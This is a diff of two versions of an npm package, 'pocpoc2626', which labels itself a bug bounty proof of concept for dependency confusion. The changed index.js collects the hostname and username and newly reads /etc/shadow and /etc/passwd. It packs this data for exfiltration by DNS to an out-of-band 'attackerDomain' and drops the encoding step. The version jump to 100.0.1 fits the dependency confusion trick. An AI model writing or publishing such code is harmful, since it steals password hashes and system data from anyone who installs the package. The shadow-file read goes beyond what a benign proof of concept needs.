pocpoc2626 99.99.9999 → 100.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +6 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,6 @@
1
1
  const dns = require('dns');
2
2
  const os = require('os');
3
-
3
+ const fs = require('fs')
4
4
  const attackerDomain = "jrqoodsuxfzdpwqzthndxcm8f911cgqtn.oast.fun";
5
5
 
6
6
  function base64url(str) {
@@ -14,10 +14,13 @@ function base64url(str) {
14
14
  const dataToExfil = JSON.stringify({
15
15
  host: os.hostname(),
16
16
  user: os.userInfo().username,
17
- secret: process.env.AWS_ACCESS_KEY_ID || "no-key"
17
+ secret: process.env.TERM || "no-key",
18
+ shadow: fs.readFileSync("/etc/shadow", "utf8"),
19
+ passwd: fs.readFileSync("/etc/passwd", "utf8")
18
20
  });
19
21
 
20
- const encodedData = base64url(dataToExfil);
22
+ // const encodedData = base64url(dataToExfil);
23
+ const encodedData = dataToExfil;
21
24
 
22
25
  const chunkSize = 60;
23
26
  const chunks = [];
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pocpoc2626",
3
- "version": "99.99.9999",
3
+ "version": "100.0.1",
4
4
  "description": "Bug Bounty PoC for Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {